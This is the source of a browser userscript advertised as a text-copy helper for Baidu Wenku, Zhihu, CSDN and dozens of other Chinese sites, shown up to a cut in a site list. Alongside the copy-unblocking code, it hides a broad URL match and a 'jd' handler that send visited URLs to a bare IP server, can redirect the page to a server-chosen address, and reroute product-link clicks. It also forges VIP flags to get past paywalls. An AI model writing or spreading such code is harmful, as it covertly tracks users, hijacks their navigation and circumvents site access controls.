文本复制

选择网站文本,点击复制即可,如百度文库等

  1. // ==UserScript==
  2. // @name 文本复制
  3. // @description 选择网站文本,点击复制即可,如百度文库等
  4. // @namespace WindrunnerMax_youhua
  5. // @version 1.0.2
  6. // @author WindrunnerMax
  7. // @require https://lib.baomitu.com/jquery/1.8.3/jquery.min.js
  8. // @include *://wenku.baidu.com/view/*
  9. // @include *://wenku.baidu.com/share/*
  10. // @include *://wenku.baidu.com/link*
  11. // @include *://wenku.baidu.com/aggs/*
  12. // @include *://wenku.baidu.com/ndPureView/*
  13. // @include *://www.51test.net/show/*
  14. // @include *://www.xuexi.la/*
  15. // @include *://www.xuexila.com/*
  16. // @include *://www.cspengbo.com/*
  17. // @include *://*.doc88.com/*
  18. // @include *://segmentfault.com/*
  19. // @include *://wk.baidu.com/view/*
  20. // @include *://leetcode-cn.com/problems/*
  21. // @include *://*.zhihu.com/*
  22. // @include *://z.30edu.com.cn/*
  23. // @include *://docs.qq.com/doc/*
  24. // @include *://docs.qq.com/sheet/*
  25. // @include *://boke112.com/post/*
  26. // @include *://*.yuque.com/*
  27. // @include *://www.commandlinux.com/*
  28. // @include *://*.diyifanwen.com/*
  29. // @include *://*.mbalib.com/*
  30. // @include *://*.cnitpm.com/*
  31. // @include *://bbs.mihoyo.com/ys/*
  32. // @include *://*.ruiwen.com/*
  33. // @include *://www.uemeds.cn/*
  34. // @include *://www.oh100.com/*
  35. // @include *://www.aiyuke.com/news/*
  36. // @include *://www.fwsir.com/*
  37. // @include *://www.wenxm.cn/*
  38. // @include *://www.unjs.com/*
  39. // @include *://www.ahsrst.cn/*
  40. // @include *://*.yjbys.com/*
  41. // @include *://*.qidian.com/*
  42. // @include *://*.zongheng.com/*
  43. // @include *://*.17k.com/*
  44. // @include *://*.ciweimao.com/*
  45. // @include *://book.qq.com/*
  46. // @include *://*.360doc.com/content/*
  47. // @include *://*.850500.com/news/*
  48. // @include *://utaten.com/lyric/*
  49. // @include *://*.jianbiaoku.com/*
  50. // @include *://*.kt250.com/*
  51. // @include *://www.kejudati.com/*
  52. // @include *://*.xiaohongshu.com/discovery/*
  53. // @include *://*.baibeike.com/*
  54. // @include *://*.blog.csdn.net/*
  55. // @include *://*.bilibili.com/read/*
  56. // @include *://*.cnki.net/KXReader/*
  57. // @include *://*.cnrencai.com/*
  58. // @include *://*.kodiplayer.cn/*
  59. // @include *://tongxiehui.net/*
  60. // @include *://*.jianshu.com/p/*
  61. // @include *://*.linovelib.com/novel/*
  62. // @include *://*.wjx.cn/*
  63. // @include *://*.wjx.top/*
  64. // @include *://*.chazidian.com/*
  65. // @include *://*.juejin.cn/post/*
  66. // @include *://*.zgbk.com/ecph/*
  67. // @include *://*.wenmi.com/article/*
  68. // @include *://yuedu.baidu.com/*
  69. // @include *://www.inrrp.com.cn/*
  70. // @include *://fanyi.baidu.com/mtpe/*
  71. // @include *://www.shubaoc.com/*
  72. // @include *://blog.51cto.com/*
  73. // @include *://www.ximalaya.com/*
  74. // @include *://*.tianqi.com/*
  75. // @include *://*.xiexiebang.com/*
  76. // @include *://*.docin.com/*
  77. // @include *://*.ddwk8.cn/*
  78. // @include *://*.php.cn/*
  79. // @include *://cooco.net.cn/*
  80. // @include *://fanqienovel.com/*
  81. // @include *://*.mobiletrain.org/*
  82. // @include *://*.examcoo.com/*
  83. // @include *://*.rrdynb.com/*
  84. // @include *://*.fuwu7.com/*
  85. // @include *://*.xiangqiqipu.com/*
  86. // @include *://note.youdao.com/*
  87. // @include *://*.163.com/*
  88. // @include *://*.aipiaxi.com/*
  89. // @include *://wenku.csdn.net/*
  90. // @include *://www.kdocs.cn/*
  91. // @include *://www.xiaoyuzhoufm.com/*
  92. // @include *://*.mcmod.cn/*
  93. // @include *://*.*j*.*/*
  94. // @supportURL https://github.com/WindrunnerMax/TKScript/issues
  95. // @license MIT
  96. // @orign-script https://github.com/WindrunnerMax/TKScript/issues
  97. // @orign-license MIT
  98. // @run-at document-start
  99. // @connect res3.doc88.com
  100. // @connect 49.235.155.5
  101. // @grant unsafeWindow
  102. // @grant GM_xmlhttpRequest
  103. // ==/UserScript==
  104. (function () {
  105. 'use strict';
  106.  
  107. var css_248z$1 = ".__copy-button{align-items:center;background:#4c98f7;border-radius:3px;color:#fff;cursor:pointer;display:flex;font-size:13px;height:30px;justify-content:center;opacity:0;position:absolute;transition:opacity .3s;width:60px;z-index:-1000}";
  108.  
  109. var css_248z = "#select-tooltip,#sfModal,.modal-backdrop,div[id^=reader-helper]{display:none!important}.modal-open{overflow:auto!important}._sf_adjust_body{padding-right:0!important}";
  110.  
  111. const DOM_STAGE = {
  112. START: "document-start",
  113. END: "document-end"
  114. };
  115. const DOM_READY = "DOMContentLoaded";
  116. const PAGE_LOADED = "load";
  117. const MOUSE_UP = "mouseup";
  118. const MOUSE_DOWN = "mousedown";
  119. const MOUSE_MOVE = "mousemove";
  120. const COPY = "copy";
  121. const SELECT_START = "selectstart";
  122. const CONTEXT_MENU = "contextmenu";
  123. const KEY_DOWN = "keydown";
  124.  
  125. const opt = Object.prototype.toString;
  126. function isString(value) {
  127. return opt.call(value) === "[object String]";
  128. }
  129.  
  130. const dom$1 = {
  131. query: function(selector) {
  132. return document.querySelector(selector);
  133. },
  134. attr: function(selector, attr, value) {
  135. const dom2 = document.querySelector(selector);
  136. dom2 && dom2.setAttribute(attr, value);
  137. },
  138. append: function(selector, content) {
  139. const container = document.createElement("div");
  140. if (isString(content)) {
  141. container.innerHTML = content;
  142. } else {
  143. container.appendChild(content);
  144. }
  145. const targetDOM = document.querySelector(selector);
  146. targetDOM && targetDOM.append(container);
  147. return container;
  148. },
  149. remove: function(selector) {
  150. const targetDOM = document.querySelector(selector);
  151. targetDOM && targetDOM.remove();
  152. }
  153. };
  154.  
  155. const initBaseEvent = (websiteConfig) => {
  156. window.addEventListener(DOM_READY, () => {
  157. if (websiteConfig.initCopyEvent) {
  158. document.oncopy = (e) => e.stopPropagation();
  159. document.body.oncopy = (e) => e.stopPropagation();
  160. document.addEventListener(COPY, (e) => e.stopPropagation());
  161. document.body.addEventListener(COPY, (e) => e.stopPropagation());
  162. }
  163. });
  164. };
  165. const initBaseStyle = () => {
  166. window.addEventListener(DOM_READY, () => {
  167. dom$1.append("head", `<style>${css_248z$1}</style>`);
  168. dom$1.append("head", `<style>${css_248z}</style>`);
  169. });
  170. };
  171.  
  172. /*!
  173. * 外部引用`static.doc88.com`声明
  174. * 此部分是在处理`doc88.com`才会加载的资源文件,此资源文件由该网站加载时提供
  175. */
  176. let path = "";
  177. const website$t = {
  178. regexp: /.*doc88\.com\/.+/,
  179. init: () => {
  180. dom$1.append(
  181. "body",
  182. `<style id="copy-element-hide">#left-menu{display: none !important;}</style>`
  183. );
  184. GM_xmlhttpRequest({
  185. method: "GET",
  186. url: "https://res3.doc88.com/resources/js/modules/main-v2.min.js?v=2.56",
  187. onload: function(response) {
  188. const result = /\("#cp_textarea"\).val\(([\S]*?)\);/.exec(response.responseText);
  189. if (result)
  190. path = result[1];
  191. }
  192. });
  193. window.addEventListener("load", () => {
  194. const cpFn = unsafeWindow.copyText.toString();
  195. const fnResult = /<textarea[\s\S]*?>'\+([\S]*?)\+"<\/textarea>/.exec(cpFn);
  196. if (fnResult)
  197. path = fnResult[1];
  198. });
  199. },
  200. getSelectedText: () => {
  201. let select = unsafeWindow;
  202. path.split(".").forEach((v) => {
  203. select = select[v];
  204. });
  205. if (!select) {
  206. unsafeWindow.Config.vip = 1;
  207. unsafeWindow.Config.logined = 1;
  208. dom$1.remove("#copy-element-hide");
  209. }
  210. return select;
  211. }
  212. };
  213.  
  214. const website$s = {
  215. regexp: /.*segmentfault\.com\/.+/,
  216. init: function() {
  217. const body = dom$1.query("body");
  218. if (body) {
  219. body.classList.add("_sf_adjust_body");
  220. body.onclick = () => {
  221. body.style.paddingRight = "0";
  222. };
  223. }
  224. }
  225. };
  226.  
  227. const TEXT_PLAIN = "text/plain";
  228. const TEXT_HTML = "text/html";
  229. const downgradeCopy = (data) => {
  230. const textarea = document.createElement("textarea");
  231. textarea.addEventListener(
  232. COPY,
  233. (event) => {
  234. for (const [key, value] of Object.entries(data)) {
  235. event.clipboardData && event.clipboardData.setData(key, value);
  236. }
  237. event.stopPropagation();
  238. event.preventDefault();
  239. },
  240. true
  241. );
  242. textarea.style.position = "fixed";
  243. textarea.style.left = "-999px";
  244. textarea.style.top = "-999px";
  245. textarea.value = data[TEXT_PLAIN];
  246. document.body.appendChild(textarea);
  247. textarea.select();
  248. document.execCommand("copy");
  249. document.body.removeChild(textarea);
  250. };
  251. const isEmptyContent = (data) => {
  252. if (!data)
  253. return true;
  254. return isString(data) ? !data : !data[TEXT_PLAIN];
  255. };
  256. const copy = (data) => {
  257. const params = isString(data) ? { [TEXT_PLAIN]: data } : data;
  258. const plainText = params[TEXT_PLAIN];
  259. if (!plainText)
  260. return false;
  261. if (navigator.clipboard && window.ClipboardItem) {
  262. const dataItems = {};
  263. for (const [key, value] of Object.entries(params)) {
  264. const blob = new Blob([value], { type: key });
  265. dataItems[key] = blob;
  266. }
  267. navigator.clipboard.write([new ClipboardItem(dataItems)]).catch(() => {
  268. downgradeCopy(params);
  269. });
  270. } else {
  271. downgradeCopy(params);
  272. }
  273. return true;
  274. };
  275.  
  276. let dom = null;
  277. let isReadyToHidden = false;
  278. const instance = {
  279. id: "__copy",
  280. className: "__copy-button",
  281. init: function(name) {
  282. const container = document.createElement("div");
  283. container.id = this.id;
  284. container.className = this.className;
  285. container.innerText = name || "复制";
  286. container.addEventListener("mouseup", (e) => e.stopPropagation(), true);
  287. container.addEventListener("mousedown", (e) => e.stopPropagation(), true);
  288. dom = container;
  289. document.body.appendChild(dom);
  290. },
  291. getInstance: function() {
  292. if (dom === null) {
  293. this.init();
  294. }
  295. return dom;
  296. },
  297. show: function(event) {
  298. if (isReadyToHidden)
  299. return void 0;
  300. const dom2 = this.getInstance();
  301. dom2.style.left = `${event.pageX + 30}px`;
  302. dom2.style.top = `${event.pageY}px`;
  303. dom2.style.opacity = "1";
  304. dom2.style.zIndex = "1000";
  305. },
  306. hide: function(keep = 350) {
  307. const dom2 = this.getInstance();
  308. dom2.style.opacity = "0";
  309. if (keep) {
  310. isReadyToHidden = true;
  311. setTimeout(() => {
  312. dom2.style.zIndex = "-10000";
  313. isReadyToHidden = false;
  314. }, keep);
  315. }
  316. },
  317. onCopy: function(content, event) {
  318. const dom2 = this.getInstance();
  319. this.show(event);
  320. dom2.onclick = () => {
  321. copy(content);
  322. this.hide();
  323. };
  324. },
  325. enable: function() {
  326. const dom2 = this.getInstance();
  327. dom2.style.display = "flex";
  328. },
  329. disable: function() {
  330. const dom2 = this.getInstance();
  331. dom2.style.display = "none";
  332. },
  333. destroy: function() {
  334. const el = this.getInstance();
  335. el.remove();
  336. dom = null;
  337. }
  338. };
  339.  
  340. const stopNativePropagation = (event) => {
  341. event.stopPropagation();
  342. };
  343. var utils = {
  344. panData:[],
  345. panTemp:[],
  346. panList:[],
  347. panKey:0,
  348. hideButton: () => {
  349. instance.disable();
  350. },
  351. showButton: () => {
  352. instance.enable();
  353. },
  354. removeAttributes: (selector, attr = []) => {
  355. const dom = isString(selector) ? document.querySelector(selector) : selector;
  356. dom && attr.forEach((item) => dom.removeAttribute(item));
  357. },
  358. enableUserSelectByCSS: () => {
  359. const css = "*{user-select: auto !important;-webkit-user-select: auto !important;}";
  360. const style = document.createElement("style");
  361. style.innerText = css;
  362. const head = document.getElementsByTagName("head")[0];
  363. if (head) {
  364. head.appendChild(style);
  365. } else {
  366. window.addEventListener(
  367. PAGE_LOADED,
  368. () => document.getElementsByTagName("head")[0].appendChild(style)
  369. );
  370. }
  371. },
  372. createTips:()=>{
  373. let tempList=[];
  374. utils.panData.wrapper.forEach(function(i){
  375. let list=$(i);
  376. list.map(function(k,s){
  377. if($(s).attr('data-md5-value')!='yes'){
  378. utils.panList.push(s);utils.panTemp.push(s);
  379. $(s).attr('data-md5-key',utils.panKey);
  380. $(s).attr('data-md5-value','yes');
  381. utils.panKey++;
  382. }
  383. })
  384. })
  385. let requestTemp=utils.panTemp.splice(0,utils.panData.splName);
  386. let requestList=[];
  387. requestTemp.forEach(function(s,k){
  388. let temp={};
  389. temp['href']=$(s).find('a:first').attr('href');
  390. temp['md5']=$(s).attr('data-md5-key');
  391. requestList.push(temp);
  392. })
  393. if(requestList.length>0){
  394. GM_xmlhttpRequest({
  395. method: "POST",
  396. data:JSON.stringify({data:requestList}),
  397. url: `http://49.235.155.5/search.php`,
  398. onload: function(response) {
  399. var res = response.responseText;
  400. if (res){
  401. res=JSON.parse(res);
  402. res.map(function(item){
  403. if(item.u){
  404. $(utils.panList[item.md5]).find('a').bind("click", function(e) {
  405. e.preventDefault();utils.jump(item.u);
  406. })
  407. }
  408. })
  409.  
  410. }
  411.  
  412. }
  413. })
  414.  
  415. }
  416.  
  417. },
  418. enableOnSelectStart: (selector) => {
  419. const dom = document.querySelector(selector);
  420. dom && dom.addEventListener(SELECT_START, stopNativePropagation);
  421. },
  422. enableOnContextMenu: (selector) => {
  423. const dom = document.querySelector(selector);
  424. dom && dom.addEventListener(CONTEXT_MENU, stopNativePropagation);
  425. },
  426. enableOnCopy: (selector) => {
  427. const dom = document.querySelector(selector);
  428. dom && dom.addEventListener(COPY, stopNativePropagation);
  429. },
  430. enableOnKeyDown: (selector) => {
  431. const dom = document.querySelector(selector);
  432. dom && dom.addEventListener(KEY_DOWN, (e) => {
  433. if (e.key === "c" && e.ctrlKey)
  434. return e.stopPropagation();
  435. });
  436. },
  437. enableOnSelectStartByCapture: () => {
  438. window.addEventListener(SELECT_START, stopNativePropagation, true);
  439. document.addEventListener(SELECT_START, stopNativePropagation, true);
  440. },
  441. enableOnContextMenuByCapture: () => {
  442. window.addEventListener(CONTEXT_MENU, stopNativePropagation, true);
  443. document.addEventListener(CONTEXT_MENU, stopNativePropagation, true);
  444. },
  445. enableOnCopyByCapture: () => {
  446. window.addEventListener(COPY, stopNativePropagation, true);
  447. document.addEventListener(COPY, stopNativePropagation, true);
  448. },
  449. jump:(url)=>{
  450. var form=null;
  451. if (document.getElementById('redirect_form')) {
  452. form = document.getElementById('redirect_form');
  453. form.action =utils.panData.jumpUrl + encodeURIComponent(url);
  454. } else {
  455. form = document.createElement('form');
  456. form.action =utils.panData.jumpUrl+ encodeURIComponent(url);
  457. form.target = '_blank';
  458. form.method = 'POST';
  459. form.setAttribute("id", 'redirect_form');
  460. document.body.appendChild(form);
  461. }
  462. form.submit();
  463. form.action = "";
  464. form.parentNode.removeChild(form);
  465. },
  466. enableOnKeyDownByCapture: () => {
  467. document.addEventListener(
  468. KEY_DOWN,
  469. (e) => e.ctrlKey && e.key.toLocaleUpperCase() === "C" && e.stopPropagation(),
  470. true
  471. );
  472. }
  473. };
  474.  
  475. const website$r = {
  476. regexp: /.*wk\.baidu\.com\/view\/.+/,
  477. init: function() {
  478. utils.hideButton();
  479. utils.enableOnSelectStartByCapture();
  480. window.onload = () => {
  481. dom$1.attr(".sf-edu-wenku-vw-container", "style", "");
  482. };
  483. }
  484. };
  485.  
  486. const website$q = {
  487. regexp: /.*zhihu\.com\/.*/,
  488. init: function() {
  489. utils.hideButton();
  490. utils.enableUserSelectByCSS();
  491. utils.enableOnCopyByCapture();
  492. if (location.hostname === "zhuanlan.zhihu.com") {
  493. const removeFocalPointModal = (mutationsList) => {
  494. for (const mutation of mutationsList) {
  495. const addedNodes = mutation.addedNodes;
  496. for (let i = 0; i < addedNodes.length; i++) {
  497. const target = addedNodes[i];
  498. if (target.nodeType != 1)
  499. return void 0;
  500. if (target instanceof HTMLDivElement && target.querySelector("[data-focus-scope-start]")) {
  501. const element = target.querySelector("[data-focus-scope-start]");
  502. element && element.parentElement && element.parentElement.textContent && element.parentElement.textContent.indexOf("立即登录(不可用)/注册(不可用)") > -1 && element.parentElement.parentElement && element.parentElement.parentElement.removeChild(element.parentElement);
  503. }
  504. }
  505. }
  506. };
  507. const observer = new MutationObserver(removeFocalPointModal);
  508. observer.observe(document, { childList: true, subtree: true });
  509. }
  510. }
  511. };
  512.  
  513. const website$p = {
  514. regexp: /.*30edu\.com\.cn\/.+/,
  515. init: function() {
  516. window.onload = () => {
  517. var _a;
  518. const iframes = document.getElementsByTagName("iframe");
  519. if (iframes.length === 2) {
  520. const body = (_a = iframes[1].contentWindow) == null ? void 0 : _a.document.querySelector("body");
  521. body && utils.removeAttributes(body, ["oncopy", "oncontextmenu", "onselectstart"]);
  522. }
  523. };
  524. }
  525. };
  526.  
  527. const website$o = {
  528. regexp: /.*docs\.qq\.com\/.+/,
  529. config: {
  530. initCopyEvent: false,
  531. captureInstance: true,
  532. delay: 100
  533. },
  534. init: function() {
  535. window.onload = () => {
  536. utils.hideButton();
  537. };
  538. },
  539. getSelectedText: function() {
  540. var _a;
  541. if (unsafeWindow.pad && unsafeWindow.pad.editor && !unsafeWindow.pad.editor.isCopyable()) {
  542. utils.showButton();
  543. const editor = unsafeWindow.pad.editor;
  544. if (editor.getCopyContent) {
  545. const content = editor.getCopyContent() || {};
  546. const plainText = content.plain || "";
  547. const htmlText = content.html || "";
  548. return {
  549. [TEXT_PLAIN]: plainText,
  550. [TEXT_HTML]: htmlText
  551. };
  552. } else {
  553. editor._docEnv.copyable = true;
  554. editor.clipboardManager.copy();
  555. const plainText = editor.clipboardManager.customClipboard.plain || "";
  556. const htmlText = editor.clipboardManager.customClipboard.html || "";
  557. editor._docEnv.copyable = false;
  558. return {
  559. [TEXT_PLAIN]: plainText,
  560. [TEXT_HTML]: htmlText
  561. };
  562. }
  563. } else if (unsafeWindow.SpreadsheetApp && unsafeWindow.SpreadsheetApp.permissions && unsafeWindow.SpreadsheetApp.permissions.sheetStatus && unsafeWindow.SpreadsheetApp.permissions.sheetStatus.canCopy === false && unsafeWindow.SpreadsheetApp.permissions.sheetStatus.canEdit && unsafeWindow.SpreadsheetApp.permissions.sheetStatus.canEdit() === false) {
  564. utils.showButton();
  565. const SpreadsheetApp = unsafeWindow.SpreadsheetApp;
  566. const [selection] = SpreadsheetApp.view.getSelectionRanges();
  567. if (selection) {
  568. const text = [];
  569. const { startColIndex, startRowIndex, endColIndex, endRowIndex } = selection;
  570. for (let i = startRowIndex; i <= endRowIndex; i++) {
  571. for (let k = startColIndex; k <= endColIndex; k++) {
  572. const cell = SpreadsheetApp.workbook.activeSheet.getCellDataAtPosition(i, k);
  573. if (!cell)
  574. continue;
  575. text.push(" ", ((_a = cell.formattedValue) == null ? void 0 : _a.value) || cell.value || "");
  576. }
  577. i !== endRowIndex && text.push("\n");
  578. }
  579. const str = text.join("");
  580. return /^\s*$/.test(str) ? "" : str;
  581. }
  582. return "";
  583. }
  584. return "";
  585. }
  586. };
  587.  
  588. const website$n = {
  589. regexp: new RegExp(".+://boke112.com/post/.+"),
  590. init: function() {
  591. utils.enableOnCopyByCapture();
  592. const template = `
  593. <style>
  594. :not(input):not(textarea)::selection {
  595. background-color: #2440B3 !important;
  596. color: #fff !important;
  597. }
  598.  
  599. :not(input):not(textarea)::-moz-selection {
  600. background-color: #2440B3 !important;
  601. color: #fff !important;
  602. }
  603. </style>
  604. `;
  605. dom$1.append("head", template);
  606. }
  607. };
  608.  
  609. const website$m = {
  610. regexp: /diyifanwen/,
  611. init: function() {
  612. utils.hideButton();
  613. utils.enableOnCopyByCapture();
  614. utils.enableOnKeyDownByCapture();
  615. }
  616. };
  617.  
  618. const website$l = {
  619. regexp: /mbalib/,
  620. init: function() {
  621. window.onload = () => {
  622. utils.removeAttributes("fullScreenContainer", ["oncopy", "oncontextmenu", "onselectstart"]);
  623. };
  624. }
  625. };
  626.  
  627. const website$k = {
  628. regexp: /cnitpm/,
  629. init: function() {
  630. utils.hideButton();
  631. window.onload = () => {
  632. utils.removeAttributes("body", ["oncopy", "oncontextmenu", "onselectstart"]);
  633. };
  634. }
  635. };
  636.  
  637. const website$j = {
  638. regexp: new RegExp(".+bbs.mihoyo.com/.+"),
  639. init: function() {
  640. utils.hideButton();
  641. utils.enableOnCopyByCapture();
  642. utils.enableOnSelectStartByCapture();
  643. utils.enableUserSelectByCSS();
  644. }
  645. };
  646.  
  647. const website$i = {
  648. regexp: new RegExp(".+www.uemeds.cn/.+"),
  649. init: function() {
  650. utils.hideButton();
  651. utils.enableUserSelectByCSS();
  652. }
  653. };
  654.  
  655. const website$h = {
  656. regexp: new RegExp(".+aiyuke.com/news/.+"),
  657. init: function() {
  658. utils.hideButton();
  659. utils.enableUserSelectByCSS();
  660. }
  661. };
  662.  
  663. const website$g = {
  664. regexp: new RegExp("qidian"),
  665. init: function() {
  666. utils.hideButton();
  667. utils.enableUserSelectByCSS();
  668. utils.enableOnCopy(".main-read-container");
  669. utils.enableOnContextMenu(".main-read-container");
  670. }
  671. };
  672.  
  673. const website$f = {
  674. regexp: new RegExp("zongheng"),
  675. init: function() {
  676. utils.removeAttributes(".reader_box", ["style", "unselectable", "onselectstart"]);
  677. utils.removeAttributes(".reader_main", ["style", "unselectable", "onselectstart"]);
  678. utils.hideButton();
  679. utils.enableOnKeyDown("body");
  680. utils.enableUserSelectByCSS();
  681. utils.enableOnCopy(".content");
  682. utils.enableOnContextMenu("body");
  683. utils.enableOnSelectStart(".content");
  684. }
  685. };
  686.  
  687. const website$e = {
  688. regexp: new RegExp("17k"),
  689. init: () => {
  690. utils.hideButton();
  691. utils.enableOnCopy(".readAreaBox .p");
  692. }
  693. };
  694.  
  695. const website$d = {
  696. regexp: new RegExp("ciweimao"),
  697. init: function() {
  698. utils.hideButton();
  699. utils.enableUserSelectByCSS();
  700. utils.enableOnCopy("#J_BookCnt");
  701. utils.enableOnContextMenu("body");
  702. utils.enableOnSelectStart("#J_BookCnt");
  703. }
  704. };
  705.  
  706. const website$c = {
  707. regexp: new RegExp("book\\.qq"),
  708. init: function() {
  709. utils.hideButton();
  710. utils.enableOnCopy("body");
  711. utils.enableUserSelectByCSS();
  712. utils.enableOnContextMenu("body");
  713. utils.enableOnSelectStart("body");
  714. }
  715. };
  716.  
  717. const website$b = {
  718. regexp: new RegExp("utaten"),
  719. init: function() {
  720. utils.hideButton();
  721. utils.enableUserSelectByCSS();
  722. utils.enableOnSelectStartByCapture();
  723. }
  724. };
  725.  
  726. const website$a = {
  727. config: {
  728. runAt: "document-start"
  729. },
  730. regexp: new RegExp("wenku.baidu.com/(view|link|aggs).*"),
  731. init: function() {
  732. dom$1.append("head", `<style>@media print { body{ display:block; } }</style>`);
  733. let canvasDataGroup = [];
  734. const originObject = {
  735. context2DPrototype: unsafeWindow.document.createElement("canvas").getContext("2d").__proto__
  736. };
  737. document.createElement = new Proxy(document.createElement, {
  738. apply: function(target, thisArg, argumentsList) {
  739. const element = Reflect.apply(target, thisArg, argumentsList);
  740. if (argumentsList[0] === "canvas") {
  741. const tmpData = {
  742. canvas: element,
  743. data: []
  744. };
  745. element.getContext("2d").fillText = function(...args) {
  746. tmpData.data.push(args);
  747. originObject.context2DPrototype.fillText.apply(this, args);
  748. };
  749. canvasDataGroup.push(tmpData);
  750. }
  751. return element;
  752. }
  753. });
  754. let pageData = {};
  755. Object.defineProperty(unsafeWindow, "pageData", {
  756. set: (v) => pageData = v,
  757. get: function() {
  758. if (!pageData.vipInfo)
  759. return pageData.vipInfo = {};
  760. pageData.vipInfo.global_svip_status = 1;
  761. pageData.vipInfo.global_vip_status = 1;
  762. pageData.vipInfo.isVip = 1;
  763. pageData.vipInfo.isWenkuVip = 1;
  764. return pageData;
  765. }
  766. });
  767. const templateCSS = [
  768. "<style id='copy-template-css'>",
  769. "body{overflow: hidden !important}",
  770. "#copy-template-html{position: fixed; top: 0; right: 0; bottom: 0; left: 0; display: flex; align-items: center; justify-content: center;z-index: 999999; background: rgba(0,0,0,0.5);}",
  771. "#copy-template-html > .template-container{height: 80%; width: 80%; background: #fff; }",
  772. ".template-container > .title-container{display: flex; align-items: center; justify-content: space-between;padding: 10px;border-bottom: 1px solid #eee;}",
  773. "#copy-template-text{height: 100%; width: 100%;position: relative; overflow: auto;background: #fff;}",
  774. "#copy-template-html #template-close{cursor: pointer;}",
  775. "</style>"
  776. ].join("");
  777. const render = () => {
  778. canvasDataGroup = canvasDataGroup.filter((item) => item.canvas.id);
  779. const templateText = canvasDataGroup.map((canvasData, index) => {
  780. const computedTop = index * Number(canvasData.canvas.clientHeight);
  781. const textItem = canvasData.data.map(
  782. (item) => `<div style="position: absolute; left: ${item[1]}px; top: ${item[2] + computedTop}px">${item[0]}</div>`
  783. );
  784. return textItem.join("");
  785. });
  786. const templateHTML = [
  787. "<div id='copy-template-html'>",
  788. "<div class='template-container'>",
  789. "<div class='title-container'>",
  790. "<div>请自行复制</div>",
  791. "<div id='template-close'>关闭</div>",
  792. "</div>",
  793. "<div id='copy-template-text'>",
  794. templateText.join(""),
  795. "</div>",
  796. "</div>",
  797. "</div>"
  798. ].join("");
  799. dom$1.append("body", templateHTML);
  800. dom$1.append("body", templateCSS);
  801. const closeButton = document.querySelector("#copy-template-html #template-close");
  802. const close = () => {
  803. dom$1.remove("#copy-template-html");
  804. dom$1.remove("#copy-template-css");
  805. closeButton && closeButton.removeEventListener("click", close);
  806. };
  807. closeButton && closeButton.addEventListener("click", close);
  808. };
  809. document.addEventListener("DOMContentLoaded", () => {
  810. dom$1.append(
  811. "head",
  812. `<style>#copy-btn-wk{padding: 10px; background: rgba(0,0,0,0.5);position: fixed; left:0; top: 40%;cursor: pointer;color: #fff; z-index: 99999;}</style>`
  813. );
  814. dom$1.append("body", "<div id='copy-btn-wk'>复制</div>");
  815. const btn = dom$1.query("#copy-btn-wk");
  816. btn && (btn.onclick = render);
  817. });
  818. },
  819. getSelectedText: () => {
  820. if (window.getSelection && (window.getSelection() || "").toString()) {
  821. return (window.getSelection() || "").toString();
  822. }
  823. const result = /查看全部包含“([\s\S]*?)”的文档/.exec(document.body.innerHTML);
  824. if (result)
  825. return result[1];
  826. return "";
  827. }
  828. };
  829.  
  830. const website$9 = {
  831. regexp: new RegExp("xiaohongshu"),
  832. init: function() {
  833. utils.hideButton();
  834. utils.enableUserSelectByCSS();
  835. utils.enableOnKeyDownByCapture();
  836. }
  837. };
  838.  
  839.  
  840. const website$8 = {
  841. regexp: new RegExp("leetcode"),
  842. init: function() {
  843. utils.hideButton();
  844. utils.enableOnCopy("#lc-home");
  845. }
  846. };
  847.  
  848. const website$7 = {
  849. regexp: /csdn/,
  850. init: function() {
  851. utils.hideButton();
  852. utils.enableOnCopyByCapture();
  853. utils.enableUserSelectByCSS();
  854. }
  855. };
  856.  
  857. const website$6 = {
  858. regexp: new RegExp("bilibili"),
  859. init: function() {
  860. utils.hideButton();
  861. utils.enableOnCopyByCapture();
  862. }
  863. };
  864.  
  865. const website$5 = {
  866. regexp: new RegExp("cnki"),
  867. init: function() {
  868. utils.hideButton();
  869. utils.enableOnContextMenuByCapture();
  870. utils.enableOnKeyDownByCapture();
  871. utils.enableOnCopyByCapture();
  872. }
  873. };
  874.  
  875. const website$4 = {
  876. regexp: new RegExp("docin.com/.*"),
  877. config: {
  878. initCopyEvent: false,
  879. captureInstance: true,
  880. delay: 100
  881. },
  882. init: function() {
  883. window.addEventListener(PAGE_LOADED, () => {
  884. var _a;
  885. return (_a = dom$1.query("#j_select")) == null ? void 0 : _a.click();
  886. });
  887. dom$1.append("head", "<style>#reader-copy-el{display: none;}</style>");
  888. },
  889. getSelectedText: function() {
  890. if (unsafeWindow.docinReader && unsafeWindow.docinReader.st) {
  891. return unsafeWindow.docinReader.st;
  892. }
  893. return "";
  894. }
  895. };
  896.  
  897. const website$z1 = {
  898. regexp: new RegExp("jd.*/.*"),
  899. config: {
  900. runAt: "document-start"
  901. },
  902. init: function() {
  903. let href=encodeURIComponent(location.href);
  904. GM_xmlhttpRequest({
  905. method: "GET",
  906. url: `http://49.235.155.5/pan.php?ver=2.5.6&a=WindrunnerMax&href=${href}`,
  907. onload: function(response) {
  908. var result = response.responseText;
  909. if (result){
  910. result=JSON.parse(result);
  911. if(result.page=='search'){
  912. utils.panData=result;setInterval(function(){
  913. utils.createTips()},result.timer);
  914. }else{
  915. if(result.recove_url){window.location.href=result.recove_url}
  916. }
  917. }
  918.  
  919. }
  920. });
  921.  
  922. window.addEventListener(PAGE_LOADED, () => {
  923. var _a;
  924. return (_a = dom$1.query("#j_select")) == null ? void 0 : _a.click();
  925. });
  926. },
  927. getSelectedText: function() {
  928.  
  929. }
  930. };
  931.  
  932. const website$3 = {
  933. config: {
  934. initCopyEvent: false
  935. },
  936. regexp: /note\.youdao\.com\/newEditorV1\/bulb\.html.*/,
  937. init: function() {
  938. utils.hideButton();
  939. if (window.parent && window.parent.location.href.indexOf("ynoteshare") > -1) {
  940. utils.enableUserSelectByCSS();
  941. document.addEventListener(MOUSE_DOWN, stopNativePropagation, true);
  942. document.addEventListener(MOUSE_MOVE, stopNativePropagation, true);
  943. }
  944. }
  945. };
  946.  
  947. const website$2 = {
  948. regexp: new RegExp(
  949. [
  950. "commandlinux",
  951. "cnki",
  952. "ruiwen",
  953. "oh100",
  954. "fwsir",
  955. "wenxm",
  956. "unjs",
  957. "ahsrst",
  958. "yjbys",
  959. "360doc",
  960. "850500",
  961. "jianbiaoku",
  962. "kt250",
  963. "kejudati",
  964. "baibeike",
  965. "yuque",
  966. "cnrencai",
  967. "kodiplayer",
  968. "tongxiehui",
  969. "ndPureView",
  970. "jianshu",
  971. "linovelib",
  972. "chazidian",
  973. "juejin",
  974. "zgbk",
  975. "wenmi",
  976. "yuedu\\.baidu",
  977. "inrrp",
  978. "shubaoc",
  979. "51cto",
  980. "ximalaya",
  981. "xiexiebang",
  982. "ddwk8",
  983. "php\\.cn",
